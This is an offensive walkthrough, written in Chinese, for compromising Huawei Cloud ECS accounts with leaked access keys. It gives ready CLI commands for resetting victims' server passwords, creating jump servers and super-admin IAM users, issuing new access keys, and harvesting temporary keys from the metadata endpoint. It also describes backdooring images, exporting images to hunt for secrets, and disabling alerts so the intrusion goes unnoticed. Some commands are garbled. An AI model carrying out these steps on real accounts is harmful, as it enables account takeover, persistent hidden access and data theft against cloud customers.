華為云 ECS彈性云服務器攻防
下面所講的大部分操作是基于拿到華為云用戶泄漏的AK、SK或者憑證而進行的一系列操作。

0x01 初始訪問
1、元數據
華為云元數據地址:http://169.254.169.254,需要注意直接訪問是看不到openstack目錄的,下面列舉幾個常見的目錄:
/latest/meta-data/local-ipv4 #用于查詢彈性云服務器的固定IP地址。多網卡情況下,只顯示主網卡的地址。/latest/meta-data/hostname #用于查詢彈性云服務器的主機名稱,后面會追加.novalocal后綴/latest/meta-data/instance-type #用于查詢彈性云服務器的規格名稱。/latest/meta-data/placement/availability-zone #用于查詢彈性云服務器的AZ信息。/latest/meta-data/public-keys/0/openssh-key #用于查詢彈性云服務器的公鑰/openstack/latest/meta_data.json #用于查詢彈性云服務器的元數據/openstack/latest/user_data #用于查詢彈性云服務器的自定義數據。/openstack/latest/network_data.json #查詢彈性云服務器的網絡信息,支持查詢云服務器掛載的全部網卡的信息,包括網卡所在子網的DNS地址、網絡帶寬、網卡ID、網卡私有IP地址、網卡彈性公網IP地址、網卡的MAC地址。/openstack/latest/securitykey #獲取臨時的AK、SK
2、憑證泄漏
- 控制臺賬號密碼泄露,例如登錄控制臺的賬號密碼(主賬號異地登錄需要驗證碼,IAM賬號登錄只需要用戶名和密碼)
- 臨時憑證泄露
- 訪問密鑰泄露,即 AccessKeyId、SecretAccessKey 泄露
3、賬號劫持
云平臺本身的漏洞,可以劫持其他用戶的賬號
華為云api explorer會給每個用戶分配一臺docker機器,大家可以研究下是否可以提權、逃逸從而進入別人的容器中。

4、網絡釣魚
通過向管理員或運維人員發送釣魚郵件、社工來獲取用戶憑證。
0x02 命令執行
1、接管控制臺
如果AK/SK的權限夠高,就可以創建同權限的賬號來達到接管控制臺,在下面的第3章的第2節我們會講到這個。

2、服務器命令
很遺憾,華為云ECS只有登錄服務器才可以執行命令,哪怕拿到了賬號登錄控制臺也需要服務器的賬號密碼。
但是拿到泄漏的AK SK可以控制服務器的關機啟動和修改密碼(動靜太大),下面介紹下拿到AK/SK如何修改服務器密碼和開關機。
首先我們需要利用云服務器的地區和終端節點來爆破用戶擁有的服務器。
https://developer.huaweicloud.com/endpoint #官方地區和終端節點。

hcloud ECS ListServersDetails --cli-region="cn-south-1" #切換區域ID查詢服務器


需要用到id(命令里的server_id)和tenant_id(命令里的project_id)
修改密碼:
#企業版hcloud ECS ResetServerPassword --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f0e683b8531" --server_id="1fb786d9-4958-a294-4d6c24e1ab1c" --reset-password.is_check_password=true --reset-password.new_password="1234qwer" #個人版hcloud ECS BatchResetServersPassword --cli-region="cn-south-1" --project_id="0a8453d1f700c00e683b8531" --servers.1.id="1fb786d9-a294-4d6c24e1ab1c" --new_password="1234qwer"
啟動服務器
hcloud ECS BatchStartServers --cli-region="cn-south-1" --project_id="0a8453d1f7121283b8531" --os-start.servers.1.id="1fb786d9-5121ab1c"
關閉服務器
hcloud ECS BatchStopServers --cli-region="cn-south-1" --project_id="0a8453d112c00e683b8531" --os-stop.servers.1.id="hcloud ECS BatchStartServers" --cli-region="cn-south-1" --project_id="0a8453d1f121200e683b8531" --os-start.servers.1.id="1fb7121-4958-a294-41224e1ab1c""
華為云購買服務器時默認的賬號為root權限,如果用戶未做權限限制,拿到shell就不用提權了。
3、利用后門文件
任意文件上傳,文件包含,解析漏洞等。
4、利用遠程代碼執行漏洞
fastjson反序列化,shiro反序列化等等。
5、SSH賬號密碼泄漏等
0x03 權限維持
此處就只演示使用華為云cli如何操作,控制臺如何操作就沒必要演示了。
1、新增服務器
新建一臺指定網段的服務器來作為跳板機。
hcloud ECS CreatePostPaidServers --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --server.data_volumes.1.volumetype="SSD" --server.data_volumes.1.size=40 --server.vpcid="123456" --server.name="huoxian" --server.nics.1.subnet_id="12345" --server.root_volume.volumetype="SSD" --server.root_volume.size=40 --server.flavorRef="12" --server.imageRef="123" --server.user_data="#! /bin/bash echo user_test >> /home/user.txt"
這里解釋下里面參數的意義和如何拿到這個參數,帶*的參數是需要其他命令獲取的。
--cli-region #地區--project_id #用戶ID,前面有介紹 --server.data_volumes.1.volumetype #云服務器數據盤對應的磁盤類型,需要與系統所提供的磁盤類型相匹配--server.data_volumes.1.size=40 #磁盤大小--server.vpcid="123" #vpc的ID--server.name #云服務器名稱--server.nics.1.subnet_id #待創建云服務器所在的子網信息--server.root_volume.volumetype #云服務器系統盤對應的磁盤類型,需要與系統所提供的磁盤類型相匹配 --server.root_volume.size=40 #磁盤大小--server.flavorRef #待創建云服務器的系統規格的ID--server.imageRef #待創建云服務器的系統鏡像--server.user_data #創建云服務器過程中待注入用戶數據
查詢VPC列表
hcloud VPC ListVpcs/v3 --cli-region="cn-south-1" --project_id="0a8451200e683b8531"

查詢地址組列表
hcloud VPC ListAddressGroup/v3 --cli-region="cn-south-1" --project_id="0a845123b8531"
查詢規格詳情和規格擴展信息列表
hcloud ECS ListFlavors --cli-region="cn-south-1" --project_id="0a8453d1123b8531"
查詢鏡像列表
hcloud IMS ListImages --cli-region="cn-south-1"
這樣就可以創建一臺指定密碼、指定網段的服務器,可以當作跳板機。
2、新增賬號
需要注意的是密碼得強規則
hcloud IAM CreateUser --cli-region="cn-south-1" --user.domain_id="0a845312120e3d660" --user.pwd_status=false --user.name="test" --user.access_mode="console:" --user.enabled=true

--user.domain_id #參數從下面命令中獲取
hcloud IAM KeystoneListAuthDomains --cli-region="cn-south-1"

其他參數意義
--user.pwd_status #新增賬號后初次登陸不需要修改密碼,默認為true--user.access_mode #賬號權限 default:默認訪問模式,編程訪問和管理控制臺訪問。 programmatic:編程訪問。 console:管理控制臺訪問。--user.enabled #是否啟用賬號,默認為true

還有一種添加命令,只不過該命令無法指定郵箱和手機號碼。
hcloud IAM KeystoneCreateUser --cli-region="cn-south-1" --user.password="123123" --user.name="huox"

當我們添加了賬號后,還需要給當前賬號添加用戶組。
hcloud IAM KeystoneAddUserToGroup --cli-region="cn-south-1" --group_id="0a84535a9380f2343fdcc00e38def544" --user_id="642195374d894c0cab5c3f00c57226c9"

此處需要group_id,從下面獲取;此處需要注意的是我們要看好用戶組的具體權限,一般admin是默認的超級管理員權限。
hcloud IAM KeystoneListGroups --cli-region="cn-south-1"

返回控制臺看下

接下來就是登錄控制臺了
https://auth.huaweicloud.com/authui/login?id=stay0D
使用剛才創建的賬號登錄控制臺

可以看到已經是超級管理員了
關于登錄地址,我們在查看用戶詳情的時候會看到用戶的name,上面查到的就是stay0D,我們只需要把這個拼接到URL中id參數后就可以,所有添加的IAM賬戶,包括子賬號添加的賬號也是用同樣的登錄地址。
3、新增AK/SK
我們可以新添加用戶的AK/SK(限制是每個賬號只能擁有兩個密鑰)
hcloud IAM CreatePermanentAccessKey --cli-region="cn-south-1" --credential.user_id="90f761284f49953f"

--credential.user_id #用戶ID
獲取用戶ID從下面獲取
hcloud IAM KeystoneListUsers --cli-region="cn-south-1"

hcloud IAM DeletePermanentAccessKey --cli-region="cn-south-1" --access_key="xxxxxxx"
4、鏡像服務
我們可以刪除,或者創建同名的鏡像文件,將后門植入到鏡像中,當用戶使用鏡像新建實例的時候,就會帶入我們植入的惡意代碼了。

5、遠程軟件控制
Windows——向日葵RCE
0x04 權限提升
華為云ECS Linux默認為root權限,需謹慎配置;其他提權姿勢和常規提權一樣。
0x05 防御饒過
1、關閉告警通知
當我們進行入侵的時候,可以關閉掉告警通知,尤其實時告警,可以延長我們入侵被發現的時間,需要注意的是,告警只能通過控制臺操作,無API。

2、關閉訂閱
本來想的是修改賬號聯系人的信息,郵箱和手機號碼,但是修改時需要驗證碼,行不通,但是我們也可以修改訂閱管理,關閉掉所有的通知消息。

0x06 信息搜集
1、元數據
a、自定義數據
其中 openstack/latest/password 可查詢彈性云服務器的密碼,Windows系統使用keypairs創建彈性云服務器初始化時cloudbase-init用于保存密文密碼。
openstack/latest/user_data 可查詢彈性云服務器的自定義數據,這里簡單介紹下這個文件能干什么。
在創建云服務器的時候,有一個選項是實例自定義數據注入,什么時候會用到這個呢,當我們需要創建多個服務器的時候,為了方便管理,需要對網絡和密碼等進行統一操作。

這里我們可以插入我們想要在服務器剛創建時執行命令,比如創建自定義的密碼。
#!/bin/bash echo 'root:$6$V6azyeLwcD3CHlpY$BN3VVq18fmCkj66B4zdHLWevqcxlig' | chpasswd -e;
或者需要執行的其他命令,而user_data文件中數據就是上面的命令,如果選擇了實例自定義數據注入,就會從元數據中看到這些數據。
#Windowsrem cmdnet user abc password /addnet localgroup administrators abc /add
注意的是實例自定義數據注入只有創建服務器的時候才會有,后續無法進行修改。
b、臨時的AK、SK
http://169.254.169.254/openstack/latest/securitykey #獲取臨時的AK、SK
臨時的AK、SK有效期一個小時,拿到后通過華為云cli可以進行進一步的利用,包括新建賬號、服務器等操作,如上面第3章有所講述;需注意的是華為云元數據沒有用戶臨時token。
2、獲取服務器實例登錄賬號
可以使用mimikatz等工具抓取windows服務器的憑證。
3、鏡像服務
如果用戶在制作整機鏡像時未將敏感數據刪除,那我們就可以將鏡像導出到OBS桶中,然后下載到本地重新搭建,在其中尋找一些敏感數據。
首先看下用戶制作的鏡像,然后將私有鏡像導出到OBS桶中。

然后訪問存儲桶下載或者從控制臺下載

下載后通過VMware等其他軟件打開就可以,在信息搜集的時候可以留意一下。
4、云備份共享
將對方的云備份共享至自己的賬號(只能在控制臺操作)

0x07 橫向移動
1、子網信息
通過網絡控制臺-虛擬私有云查看具體網段信息

或者使用華為云cli查看
hcloud VPC ListVpcs/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531"

也可查看元數據猜測(不全)
http://169.254.169.254/openstack/latest/network_data.json #元數據猜C段

2、訪問憑證
- 拿到賬號密碼登錄實例
- 修改實例密碼后登錄
- 新建同網段服務器
3、負載均衡
如果內網機器無法出網且對方有使用負載均衡,我們登錄控制臺后可以將內網的指定端口通過負載均衡映射到公網。

首先需要添加監聽器,輸入公網前端端口(就是我們直接訪問的端口)和后端分配的端口(內網服務器的端口),然后在后端服務器組添加內網的服務器就可以了。

這就是最終的效果,通過ELB讓內網機器出網
0x08 影響
1、子域名接管
其實就是實例銷毀后未將域名解析到正確的IP

上面就是某SRC廠商的失誤操作,導致子域名解析到一臺個人服務器上,就是這個IP歸屬無法控制。
2、資源劫持
肉雞,挖礦等
0x09 總結
師傅們可以對照著前幾位師傅的文章觀看